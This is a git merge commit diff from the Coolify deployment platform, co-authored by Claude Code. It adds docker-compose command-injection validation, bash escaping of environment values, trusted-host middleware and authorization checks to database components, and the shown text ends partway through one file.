Merge branch 'next' into andrasbacsai/livewire-model-binding
Resolved merge conflicts between Livewire model binding refactoring and UI/CSS updates from next branch. Key integrations: - Preserved unique HTML ID generation for form components - Maintained wire:model bindings using $modelBinding - Integrated new wire:dirty.class styles (border-l-warning pattern) - Kept both syncData(true) and validateDockerComposeForInjection in StackForm - Merged security tests and helper improvements from next 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
commit
837a0f4545
74 changed files with 4012 additions and 286 deletions
|
|
@ -17,6 +17,7 @@
|
|||
use App\Models\Service;
|
||||
use App\Rules\ValidGitBranch;
|
||||
use App\Rules\ValidGitRepositoryUrl;
|
||||
use App\Services\DockerImageParser;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
use OpenApi\Attributes as OA;
|
||||
|
|
@ -1512,31 +1513,32 @@ private function create_application(Request $request, $type)
|
|||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
// Process docker image name and tag for SHA256 digests
|
||||
// Process docker image name and tag using DockerImageParser
|
||||
$dockerImageName = $request->docker_registry_image_name;
|
||||
$dockerImageTag = $request->docker_registry_image_tag;
|
||||
|
||||
// Strip 'sha256:' prefix if user provided it in the tag
|
||||
// Build the full Docker image string for parsing
|
||||
if ($dockerImageTag) {
|
||||
$dockerImageTag = preg_replace('/^sha256:/i', '', trim($dockerImageTag));
|
||||
$dockerImageString = $dockerImageName.':'.$dockerImageTag;
|
||||
} else {
|
||||
$dockerImageString = $dockerImageName;
|
||||
}
|
||||
|
||||
// Remove @sha256 from image name if user added it
|
||||
if ($dockerImageName) {
|
||||
$dockerImageName = preg_replace('/@sha256$/i', '', trim($dockerImageName));
|
||||
}
|
||||
// Parse using DockerImageParser to normalize the image reference
|
||||
$parser = new DockerImageParser;
|
||||
$parser->parse($dockerImageString);
|
||||
|
||||
// Check if tag is a valid SHA256 hash (64 hex characters)
|
||||
$isSha256Hash = $dockerImageTag && preg_match('/^[a-f0-9]{64}$/i', $dockerImageTag);
|
||||
// Get normalized image name and tag
|
||||
$normalizedImageName = $parser->getFullImageNameWithoutTag();
|
||||
|
||||
// Append @sha256 to image name if using digest and not already present
|
||||
if ($isSha256Hash && ! str_ends_with($dockerImageName, '@sha256')) {
|
||||
$dockerImageName .= '@sha256';
|
||||
// Append @sha256 to image name if using digest
|
||||
if ($parser->isImageHash() && ! str_ends_with($normalizedImageName, '@sha256')) {
|
||||
$normalizedImageName .= '@sha256';
|
||||
}
|
||||
|
||||
// Set processed values back to request
|
||||
$request->offsetSet('docker_registry_image_name', $dockerImageName);
|
||||
$request->offsetSet('docker_registry_image_tag', $dockerImageTag ?: 'latest');
|
||||
$request->offsetSet('docker_registry_image_name', $normalizedImageName);
|
||||
$request->offsetSet('docker_registry_image_tag', $parser->getTag());
|
||||
|
||||
$application = new Application;
|
||||
removeUnnecessaryFieldsFromRequest($request);
|
||||
|
|
|
|||
|
|
@ -328,9 +328,23 @@ public function create_service(Request $request)
|
|||
});
|
||||
}
|
||||
if ($oneClickService) {
|
||||
$service_payload = [
|
||||
$dockerComposeRaw = base64_decode($oneClickService);
|
||||
|
||||
// Validate for command injection BEFORE creating service
|
||||
try {
|
||||
validateDockerComposeForInjection($dockerComposeRaw);
|
||||
} catch (\Exception $e) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => [
|
||||
'docker_compose_raw' => $e->getMessage(),
|
||||
],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$servicePayload = [
|
||||
'name' => "$oneClickServiceName-".str()->random(10),
|
||||
'docker_compose_raw' => base64_decode($oneClickService),
|
||||
'docker_compose_raw' => $dockerComposeRaw,
|
||||
'environment_id' => $environment->id,
|
||||
'service_type' => $oneClickServiceName,
|
||||
'server_id' => $server->id,
|
||||
|
|
@ -338,9 +352,9 @@ public function create_service(Request $request)
|
|||
'destination_type' => $destination->getMorphClass(),
|
||||
];
|
||||
if ($oneClickServiceName === 'cloudflared') {
|
||||
data_set($service_payload, 'connect_to_docker_network', true);
|
||||
data_set($servicePayload, 'connect_to_docker_network', true);
|
||||
}
|
||||
$service = Service::create($service_payload);
|
||||
$service = Service::create($servicePayload);
|
||||
$service->name = "$oneClickServiceName-".$service->uuid;
|
||||
$service->save();
|
||||
if ($oneClickDotEnvs?->count() > 0) {
|
||||
|
|
@ -462,6 +476,18 @@ public function create_service(Request $request)
|
|||
$dockerCompose = base64_decode($request->docker_compose_raw);
|
||||
$dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
|
||||
|
||||
// Validate for command injection BEFORE saving to database
|
||||
try {
|
||||
validateDockerComposeForInjection($dockerComposeRaw);
|
||||
} catch (\Exception $e) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => [
|
||||
'docker_compose_raw' => $e->getMessage(),
|
||||
],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$connectToDockerNetwork = $request->connect_to_docker_network ?? false;
|
||||
$instantDeploy = $request->instant_deploy ?? false;
|
||||
|
||||
|
|
@ -777,6 +803,19 @@ public function update_by_uuid(Request $request)
|
|||
}
|
||||
$dockerCompose = base64_decode($request->docker_compose_raw);
|
||||
$dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
|
||||
|
||||
// Validate for command injection BEFORE saving to database
|
||||
try {
|
||||
validateDockerComposeForInjection($dockerComposeRaw);
|
||||
} catch (\Exception $e) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => [
|
||||
'docker_compose_raw' => $e->getMessage(),
|
||||
],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$service->docker_compose_raw = $dockerComposeRaw;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -14,7 +14,7 @@ class Kernel extends HttpKernel
|
|||
* @var array<int, class-string|string>
|
||||
*/
|
||||
protected $middleware = [
|
||||
// \App\Http\Middleware\TrustHosts::class,
|
||||
\App\Http\Middleware\TrustHosts::class,
|
||||
\App\Http\Middleware\TrustProxies::class,
|
||||
\Illuminate\Http\Middleware\HandleCors::class,
|
||||
\App\Http\Middleware\PreventRequestsDuringMaintenance::class,
|
||||
|
|
|
|||
|
|
@ -2,7 +2,10 @@
|
|||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use Illuminate\Http\Middleware\TrustHosts as Middleware;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Spatie\Url\Url;
|
||||
|
||||
class TrustHosts extends Middleware
|
||||
{
|
||||
|
|
@ -13,8 +16,37 @@ class TrustHosts extends Middleware
|
|||
*/
|
||||
public function hosts(): array
|
||||
{
|
||||
return [
|
||||
$this->allSubdomainsOfApplicationUrl(),
|
||||
];
|
||||
$trustedHosts = [];
|
||||
|
||||
// Trust the configured FQDN from InstanceSettings (cached to avoid DB query on every request)
|
||||
// Use empty string as sentinel value instead of null so negative results are cached
|
||||
$fqdnHost = Cache::remember('instance_settings_fqdn_host', 300, function () {
|
||||
try {
|
||||
$settings = InstanceSettings::get();
|
||||
if ($settings && $settings->fqdn) {
|
||||
$url = Url::fromString($settings->fqdn);
|
||||
$host = $url->getHost();
|
||||
|
||||
return $host ?: '';
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
// If instance settings table doesn't exist yet (during installation),
|
||||
// return empty string (sentinel) so this result is cached
|
||||
}
|
||||
|
||||
return '';
|
||||
});
|
||||
|
||||
// Convert sentinel value back to null for consumption
|
||||
$fqdnHost = $fqdnHost !== '' ? $fqdnHost : null;
|
||||
|
||||
if ($fqdnHost) {
|
||||
$trustedHosts[] = $fqdnHost;
|
||||
}
|
||||
|
||||
// Trust all subdomains of APP_URL as fallback
|
||||
$trustedHosts[] = $this->allSubdomainsOfApplicationUrl();
|
||||
|
||||
return array_filter($trustedHosts);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -491,6 +491,11 @@ private function deploy_simple_dockerfile()
|
|||
$this->generate_build_env_variables();
|
||||
$this->add_build_env_variables_to_dockerfile();
|
||||
$this->build_image();
|
||||
|
||||
// Save runtime environment variables AFTER the build
|
||||
// This overwrites the build-time .env with ALL variables (build-time + runtime)
|
||||
$this->save_runtime_environment_variables();
|
||||
|
||||
$this->push_to_docker_registry();
|
||||
$this->rolling_update();
|
||||
}
|
||||
|
|
@ -1314,12 +1319,18 @@ private function save_runtime_environment_variables()
|
|||
|
||||
private function generate_buildtime_environment_variables()
|
||||
{
|
||||
if (isDev()) {
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] Generating build-time environment variables');
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
|
||||
}
|
||||
|
||||
$envs = collect([]);
|
||||
$coolify_envs = $this->generate_coolify_env_variables();
|
||||
|
||||
// Add COOLIFY variables
|
||||
$coolify_envs->each(function ($item, $key) use ($envs) {
|
||||
$envs->push($key.'='.$item);
|
||||
$envs->push($key.'='.escapeBashEnvValue($item));
|
||||
});
|
||||
|
||||
// Add SERVICE_NAME variables for Docker Compose builds
|
||||
|
|
@ -1333,7 +1344,7 @@ private function generate_buildtime_environment_variables()
|
|||
}
|
||||
$services = data_get($dockerCompose, 'services', []);
|
||||
foreach ($services as $serviceName => $_) {
|
||||
$envs->push('SERVICE_NAME_'.str($serviceName)->upper().'='.$serviceName);
|
||||
$envs->push('SERVICE_NAME_'.str($serviceName)->upper().'='.escapeBashEnvValue($serviceName));
|
||||
}
|
||||
|
||||
// Generate SERVICE_FQDN & SERVICE_URL for non-PR deployments
|
||||
|
|
@ -1346,8 +1357,8 @@ private function generate_buildtime_environment_variables()
|
|||
$coolifyScheme = $coolifyUrl->getScheme();
|
||||
$coolifyFqdn = $coolifyUrl->getHost();
|
||||
$coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null);
|
||||
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.$coolifyUrl->__toString());
|
||||
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.$coolifyFqdn);
|
||||
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyUrl->__toString()));
|
||||
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyFqdn));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
|
|
@ -1355,7 +1366,7 @@ private function generate_buildtime_environment_variables()
|
|||
$rawDockerCompose = Yaml::parse($this->application->docker_compose_raw);
|
||||
$rawServices = data_get($rawDockerCompose, 'services', []);
|
||||
foreach ($rawServices as $rawServiceName => $_) {
|
||||
$envs->push('SERVICE_NAME_'.str($rawServiceName)->upper().'='.addPreviewDeploymentSuffix($rawServiceName, $this->pull_request_id));
|
||||
$envs->push('SERVICE_NAME_'.str($rawServiceName)->upper().'='.escapeBashEnvValue(addPreviewDeploymentSuffix($rawServiceName, $this->pull_request_id)));
|
||||
}
|
||||
|
||||
// Generate SERVICE_FQDN & SERVICE_URL for preview deployments with PR-specific domains
|
||||
|
|
@ -1368,8 +1379,8 @@ private function generate_buildtime_environment_variables()
|
|||
$coolifyScheme = $coolifyUrl->getScheme();
|
||||
$coolifyFqdn = $coolifyUrl->getHost();
|
||||
$coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null);
|
||||
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.$coolifyUrl->__toString());
|
||||
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.$coolifyFqdn);
|
||||
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyUrl->__toString()));
|
||||
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyFqdn));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -1391,7 +1402,32 @@ private function generate_buildtime_environment_variables()
|
|||
}
|
||||
|
||||
foreach ($sorted_environment_variables as $env) {
|
||||
$envs->push($env->key.'='.$env->real_value);
|
||||
// For literal/multiline vars, real_value includes quotes that we need to remove
|
||||
if ($env->is_literal || $env->is_multiline) {
|
||||
// Strip outer quotes from real_value and apply proper bash escaping
|
||||
$value = trim($env->real_value, "'");
|
||||
$escapedValue = escapeBashEnvValue($value);
|
||||
$envs->push($env->key.'='.$escapedValue);
|
||||
|
||||
if (isDev()) {
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: literal/multiline');
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] raw real_value: {$env->real_value}");
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] stripped value: {$value}");
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
|
||||
}
|
||||
} else {
|
||||
// For normal vars, use double quotes to allow $VAR expansion
|
||||
$escapedValue = escapeBashDoubleQuoted($env->real_value);
|
||||
$envs->push($env->key.'='.$escapedValue);
|
||||
|
||||
if (isDev()) {
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: normal (allows expansion)');
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] real_value: {$env->real_value}");
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
$sorted_environment_variables = $this->application->environment_variables_preview()
|
||||
|
|
@ -1408,11 +1444,42 @@ private function generate_buildtime_environment_variables()
|
|||
}
|
||||
|
||||
foreach ($sorted_environment_variables as $env) {
|
||||
$envs->push($env->key.'='.$env->real_value);
|
||||
// For literal/multiline vars, real_value includes quotes that we need to remove
|
||||
if ($env->is_literal || $env->is_multiline) {
|
||||
// Strip outer quotes from real_value and apply proper bash escaping
|
||||
$value = trim($env->real_value, "'");
|
||||
$escapedValue = escapeBashEnvValue($value);
|
||||
$envs->push($env->key.'='.$escapedValue);
|
||||
|
||||
if (isDev()) {
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: literal/multiline');
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] raw real_value: {$env->real_value}");
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] stripped value: {$value}");
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
|
||||
}
|
||||
} else {
|
||||
// For normal vars, use double quotes to allow $VAR expansion
|
||||
$escapedValue = escapeBashDoubleQuoted($env->real_value);
|
||||
$envs->push($env->key.'='.$escapedValue);
|
||||
|
||||
if (isDev()) {
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: normal (allows expansion)');
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] real_value: {$env->real_value}");
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Return the generated environment variables
|
||||
if (isDev()) {
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
|
||||
$this->application_deployment_queue->addLogEntry("[DEBUG] Total build-time env variables: {$envs->count()}");
|
||||
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
|
||||
}
|
||||
|
||||
return $envs;
|
||||
}
|
||||
|
||||
|
|
@ -1892,9 +1959,27 @@ private function check_git_if_build_needed()
|
|||
);
|
||||
}
|
||||
if ($this->saved_outputs->get('git_commit_sha') && ! $this->rollback) {
|
||||
$this->commit = $this->saved_outputs->get('git_commit_sha')->before("\t");
|
||||
$this->application_deployment_queue->commit = $this->commit;
|
||||
$this->application_deployment_queue->save();
|
||||
// Extract commit SHA from git ls-remote output, handling multi-line output (e.g., redirect warnings)
|
||||
// Expected format: "commit_sha\trefs/heads/branch" possibly preceded by warning lines
|
||||
// Note: Git warnings can be on the same line as the result (no newline)
|
||||
$lsRemoteOutput = $this->saved_outputs->get('git_commit_sha');
|
||||
|
||||
// Find the part containing a tab (the actual ls-remote result)
|
||||
// Handle cases where warning is on the same line as the result
|
||||
if ($lsRemoteOutput->contains("\t")) {
|
||||
// Get everything from the last occurrence of a valid commit SHA pattern before the tab
|
||||
// A valid commit SHA is 40 hex characters
|
||||
$output = $lsRemoteOutput->value();
|
||||
|
||||
// Extract the line with the tab (actual ls-remote result)
|
||||
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
|
||||
|
||||
if (isset($matches[1])) {
|
||||
$this->commit = $matches[1];
|
||||
$this->application_deployment_queue->commit = $this->commit;
|
||||
$this->application_deployment_queue->save();
|
||||
}
|
||||
}
|
||||
}
|
||||
$this->set_coolify_variables();
|
||||
|
||||
|
|
@ -1909,7 +1994,7 @@ private function clone_repository()
|
|||
{
|
||||
$importCommands = $this->generate_git_import_commands();
|
||||
$this->application_deployment_queue->addLogEntry("\n----------------------------------------");
|
||||
$this->application_deployment_queue->addLogEntry("Importing {$this->customRepository}:{$this->application->git_branch} (commit sha {$this->application->git_commit_sha}) to {$this->basedir}.");
|
||||
$this->application_deployment_queue->addLogEntry("Importing {$this->customRepository}:{$this->application->git_branch} (commit sha {$this->commit}) to {$this->basedir}.");
|
||||
if ($this->pull_request_id !== 0) {
|
||||
$this->application_deployment_queue->addLogEntry("Checking out tag pull/{$this->pull_request_id}/head.");
|
||||
}
|
||||
|
|
@ -2705,10 +2790,12 @@ private function build_image()
|
|||
]
|
||||
);
|
||||
}
|
||||
$publishDir = trim($this->application->publish_directory, '/');
|
||||
$publishDir = $publishDir ? "/{$publishDir}" : '';
|
||||
$dockerfile = base64_encode("FROM {$this->application->static_image}
|
||||
WORKDIR /usr/share/nginx/html/
|
||||
LABEL coolify.deploymentId={$this->deployment_uuid}
|
||||
COPY --from=$this->build_image_name /app/{$this->application->publish_directory} .
|
||||
COPY --from=$this->build_image_name /app{$publishDir} .
|
||||
COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
||||
if (str($this->application->custom_nginx_configuration)->isNotEmpty()) {
|
||||
$nginx_config = base64_encode($this->application->custom_nginx_configuration);
|
||||
|
|
|
|||
|
|
@ -35,20 +35,24 @@ public function handle()
|
|||
if ($this->application->is_public_repository()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$serviceName = $this->application->name;
|
||||
|
||||
if ($this->status === ProcessStatus::CLOSED) {
|
||||
$this->delete_comment();
|
||||
|
||||
return;
|
||||
} elseif ($this->status === ProcessStatus::IN_PROGRESS) {
|
||||
$this->body = "The preview deployment is in progress. 🟡\n\n";
|
||||
} elseif ($this->status === ProcessStatus::FINISHED) {
|
||||
$this->body = "The preview deployment is ready. 🟢\n\n";
|
||||
if ($this->preview->fqdn) {
|
||||
$this->body .= "[Open Preview]({$this->preview->fqdn}) | ";
|
||||
}
|
||||
} elseif ($this->status === ProcessStatus::ERROR) {
|
||||
$this->body = "The preview deployment failed. 🔴\n\n";
|
||||
}
|
||||
|
||||
match ($this->status) {
|
||||
ProcessStatus::QUEUED => $this->body = "The preview deployment for **{$serviceName}** is queued. ⏳\n\n",
|
||||
ProcessStatus::IN_PROGRESS => $this->body = "The preview deployment for **{$serviceName}** is in progress. 🟡\n\n",
|
||||
ProcessStatus::FINISHED => $this->body = "The preview deployment for **{$serviceName}** is ready. 🟢\n\n".($this->preview->fqdn ? "[Open Preview]({$this->preview->fqdn}) | " : ''),
|
||||
ProcessStatus::ERROR => $this->body = "The preview deployment for **{$serviceName}** failed. 🔴\n\n",
|
||||
ProcessStatus::KILLED => $this->body = "The preview deployment for **{$serviceName}** was killed. ⚫\n\n",
|
||||
ProcessStatus::CANCELLED => $this->body = "The preview deployment for **{$serviceName}** was cancelled. 🚫\n\n",
|
||||
ProcessStatus::CLOSED => '', // Already handled above, but included for completeness
|
||||
};
|
||||
$this->build_logs_url = base_url()."/project/{$this->application->environment->project->uuid}/environment/{$this->application->environment->uuid}/application/{$this->application->uuid}/deployment/{$this->deployment_uuid}";
|
||||
|
||||
$this->body .= '[Open Build Logs]('.$this->build_logs_url.")\n\n\n";
|
||||
|
|
|
|||
|
|
@ -1147,6 +1147,9 @@ private function navigateToResourceCreation($type)
|
|||
$this->selectedResourceType = $type;
|
||||
$this->isSelectingResource = true;
|
||||
|
||||
// Clear search query to show selection UI instead of creatable items
|
||||
$this->searchQuery = '';
|
||||
|
||||
// Reset selections
|
||||
$this->selectedServerId = null;
|
||||
$this->selectedDestinationUuid = null;
|
||||
|
|
@ -1316,10 +1319,10 @@ private function completeResourceCreation()
|
|||
$queryParams['database_image'] = 'postgres:16-alpine';
|
||||
}
|
||||
|
||||
return redirect()->route('project.resource.create', [
|
||||
$this->redirect(route('project.resource.create', [
|
||||
'project_uuid' => $this->selectedProjectUuid,
|
||||
'environment_uuid' => $this->selectedEnvironmentUuid,
|
||||
] + $queryParams);
|
||||
] + $queryParams));
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -25,6 +25,7 @@ public function __construct(
|
|||
public bool $readonly,
|
||||
public bool $allowTab,
|
||||
public bool $spellcheck,
|
||||
public bool $autofocus,
|
||||
public ?string $helper,
|
||||
public bool $realtimeValidation,
|
||||
public bool $allowToPeak,
|
||||
|
|
|
|||
|
|
@ -85,6 +85,7 @@ class BackupEdit extends Component
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->backup->database);
|
||||
$this->parameters = get_route_parameters();
|
||||
$this->syncData();
|
||||
} catch (Exception $e) {
|
||||
|
|
|
|||
|
|
@ -16,7 +16,7 @@ class General extends Component
|
|||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public Server $server;
|
||||
public ?Server $server = null;
|
||||
|
||||
public StandaloneClickhouse $database;
|
||||
|
||||
|
|
@ -56,8 +56,14 @@ public function getListeners()
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->database);
|
||||
$this->syncData();
|
||||
$this->server = data_get($this->database, 'destination.server');
|
||||
if (! $this->server) {
|
||||
$this->dispatch('error', 'Database destination server is not configured.');
|
||||
|
||||
return;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
return handleError($e, $this);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -3,10 +3,13 @@
|
|||
namespace App\Livewire\Project\Database;
|
||||
|
||||
use Auth;
|
||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||
use Livewire\Component;
|
||||
|
||||
class Configuration extends Component
|
||||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public $currentRoute;
|
||||
|
||||
public $database;
|
||||
|
|
@ -42,6 +45,8 @@ public function mount()
|
|||
->where('uuid', request()->route('database_uuid'))
|
||||
->firstOrFail();
|
||||
|
||||
$this->authorize('view', $database);
|
||||
|
||||
$this->database = $database;
|
||||
$this->project = $project;
|
||||
$this->environment = $environment;
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ class General extends Component
|
|||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public Server $server;
|
||||
public ?Server $server = null;
|
||||
|
||||
public StandaloneDragonfly $database;
|
||||
|
||||
|
|
@ -62,8 +62,14 @@ public function getListeners()
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->database);
|
||||
$this->syncData();
|
||||
$this->server = data_get($this->database, 'destination.server');
|
||||
if (! $this->server) {
|
||||
$this->dispatch('error', 'Database destination server is not configured.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$existingCert = $this->database->sslCertificates()->first();
|
||||
|
||||
|
|
|
|||
|
|
@ -131,6 +131,7 @@ public function getContainers()
|
|||
if (is_null($resource)) {
|
||||
abort(404);
|
||||
}
|
||||
$this->authorize('view', $resource);
|
||||
$this->resource = $resource;
|
||||
$this->server = $this->resource->destination->server;
|
||||
$this->container = $this->resource->uuid;
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ class General extends Component
|
|||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public Server $server;
|
||||
public ?Server $server = null;
|
||||
|
||||
public StandaloneKeydb $database;
|
||||
|
||||
|
|
@ -64,8 +64,14 @@ public function getListeners()
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->database);
|
||||
$this->syncData();
|
||||
$this->server = data_get($this->database, 'destination.server');
|
||||
if (! $this->server) {
|
||||
$this->dispatch('error', 'Database destination server is not configured.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$existingCert = $this->database->sslCertificates()->first();
|
||||
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ class General extends Component
|
|||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public Server $server;
|
||||
public ?Server $server = null;
|
||||
|
||||
public StandaloneMariadb $database;
|
||||
|
||||
|
|
@ -122,8 +122,14 @@ protected function messages(): array
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->database);
|
||||
$this->syncData();
|
||||
$this->server = data_get($this->database, 'destination.server');
|
||||
if (! $this->server) {
|
||||
$this->dispatch('error', 'Database destination server is not configured.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$existingCert = $this->database->sslCertificates()->first();
|
||||
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ class General extends Component
|
|||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public Server $server;
|
||||
public ?Server $server = null;
|
||||
|
||||
public StandaloneMongodb $database;
|
||||
|
||||
|
|
@ -122,8 +122,14 @@ protected function messages(): array
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->database);
|
||||
$this->syncData();
|
||||
$this->server = data_get($this->database, 'destination.server');
|
||||
if (! $this->server) {
|
||||
$this->dispatch('error', 'Database destination server is not configured.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$existingCert = $this->database->sslCertificates()->first();
|
||||
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ class General extends Component
|
|||
|
||||
public StandaloneMysql $database;
|
||||
|
||||
public Server $server;
|
||||
public ?Server $server = null;
|
||||
|
||||
public string $name;
|
||||
|
||||
|
|
@ -127,8 +127,14 @@ protected function messages(): array
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->database);
|
||||
$this->syncData();
|
||||
$this->server = data_get($this->database, 'destination.server');
|
||||
if (! $this->server) {
|
||||
$this->dispatch('error', 'Database destination server is not configured.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$existingCert = $this->database->sslCertificates()->first();
|
||||
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ class General extends Component
|
|||
|
||||
public StandalonePostgresql $database;
|
||||
|
||||
public Server $server;
|
||||
public ?Server $server = null;
|
||||
|
||||
public string $name;
|
||||
|
||||
|
|
@ -140,8 +140,14 @@ protected function messages(): array
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->database);
|
||||
$this->syncData();
|
||||
$this->server = data_get($this->database, 'destination.server');
|
||||
if (! $this->server) {
|
||||
$this->dispatch('error', 'Database destination server is not configured.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$existingCert = $this->database->sslCertificates()->first();
|
||||
|
||||
|
|
|
|||
|
|
@ -18,7 +18,7 @@ class General extends Component
|
|||
{
|
||||
use AuthorizesRequests;
|
||||
|
||||
public Server $server;
|
||||
public ?Server $server = null;
|
||||
|
||||
public StandaloneRedis $database;
|
||||
|
||||
|
|
@ -115,8 +115,14 @@ protected function messages(): array
|
|||
public function mount()
|
||||
{
|
||||
try {
|
||||
$this->authorize('view', $this->database);
|
||||
$this->syncData();
|
||||
$this->server = data_get($this->database, 'destination.server');
|
||||
if (! $this->server) {
|
||||
$this->dispatch('error', 'Database destination server is not configured.');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$existingCert = $this->database->sslCertificates()->first();
|
||||
|
||||
|
|
|
|||
|
|
@ -37,6 +37,10 @@ public function submit()
|
|||
'dockerComposeRaw' => 'required',
|
||||
]);
|
||||
$this->dockerComposeRaw = Yaml::dump(Yaml::parse($this->dockerComposeRaw), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
|
||||
|
||||
// Validate for command injection BEFORE saving to database
|
||||
validateDockerComposeForInjection($this->dockerComposeRaw);
|
||||
|
||||
$project = Project::where('uuid', $this->parameters['project_uuid'])->first();
|
||||
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();
|
||||
|
||||
|
|
|
|||
|
|
@ -28,18 +28,60 @@ public function mount()
|
|||
$this->query = request()->query();
|
||||
}
|
||||
|
||||
/**
|
||||
* Auto-parse image name when user pastes a complete Docker image reference
|
||||
* Examples:
|
||||
* - nginx:stable-alpine3.21-perl@sha256:4e272eef...
|
||||
* - ghcr.io/user/app:v1.2.3
|
||||
* - nginx@sha256:abc123...
|
||||
*/
|
||||
public function updatedImageName(): void
|
||||
{
|
||||
if (empty($this->imageName)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Don't auto-parse if user has already manually filled tag or sha256 fields
|
||||
